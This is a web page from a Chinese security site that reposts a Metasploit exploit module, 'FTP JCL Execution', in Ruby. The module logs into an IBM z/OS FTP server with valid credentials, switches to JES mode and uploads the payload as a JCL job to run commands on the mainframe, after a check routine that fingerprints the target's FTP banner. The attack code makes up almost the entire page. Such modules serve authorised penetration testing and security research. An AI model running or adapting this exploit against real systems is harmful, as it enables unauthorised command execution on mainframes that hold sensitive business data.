首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FTP JCL Execution
来源:metasploit.com 作者:Smalls 发布时间:2016-05-17  
require 'msf/core'
require 'msf/core/exploit/tcp'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'FTP JCL Execution',
      'Description'    => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES.
        This exploit requires valid credentials on the target system)},
      'Author'         =>
         [
           'Bigendian Smalls',
           'mainframed a.k.a. soldier of fortran',
           'S&Oxballs a.k.a. chiefascot'
         ],
      'Arch'           => ARCH_CMD,
      'License'        => MSF_LICENSE,
      'Platform'       => ['mainframe'],
      'Privileged'     => false,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'May 12 2013',
      'DisableNops'    => 'true',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(21),
        OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ])
      ], self.class
    )
  end

  def check
    ##
    # Connect to get the FTP banner and check target OS
    ##
    if !connect_login
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server")
    else
      print_good("Successfully connected to FTP server.")
    end
    test_jes = send_cmd(['site', 'file=jes'])

    # Disconnect and check cached self.banner
    disconnect

    ##
    # Check if the target system has an FTP server running on z/OS"
    ##
    case banner
    when /IBM FTP CS V.R./
      case test_jes
      when /200 SITE/
        print_status("Found IBM z/OS Banner and JES commands accepted")
        return Exploit::CheckCode::Vulnerable
      else
        print_status("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!")
        return Exploit::CheckCode::Detected
      end

    ##
    # Return the Safe flag if system is not exploitable
    ##
    else
      print_status("We could not recognize the server banner: #{banner.strip}")
      return Exploit::CheckCode::Safe
    end
  end

  ##
  # Exploit the target system by submitting a JCL job via FTP
  ##
  def exploit
    if !connect_login
      fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server")
    else
      print_good("Successfully connected to FTP server.")
    end

    send_cmd(['site', 'file=jes'])
    print_status("Successfully switched to JES mode")

    jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}"
    print_status("Uploading JCL file: #{jcl_file_name}")

    res = send_cmd_data(['put', jcl_file_name], payload.encoded)
    if res.nil?
      fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server")
    end

    job_num = res.lines.first.split.last
    print_good("Job Submitted. Job number is #{job_num}")

    handler
    disconnect
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel bpf related UAF V
·Microsoft Excel 2010 - Crash P
·Core FTP Server 32-bit Build 5
·Android Broadcom Wi-Fi Driver
·Ipswitch WS_FTP LE 12.3 - Sear
·runAV mod_security - Arbitrary
·MediaInfo 0.7.61 - Crash PoC
·NRSS Reader 0.3.9 - Local Stac
·PHP 5.2.x Safe Mode Windows By
·Web interface for DNSmasq / Mi
·Ruby on Rails Development Web
·eXtplorer 2.1.9 - Archive Path
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved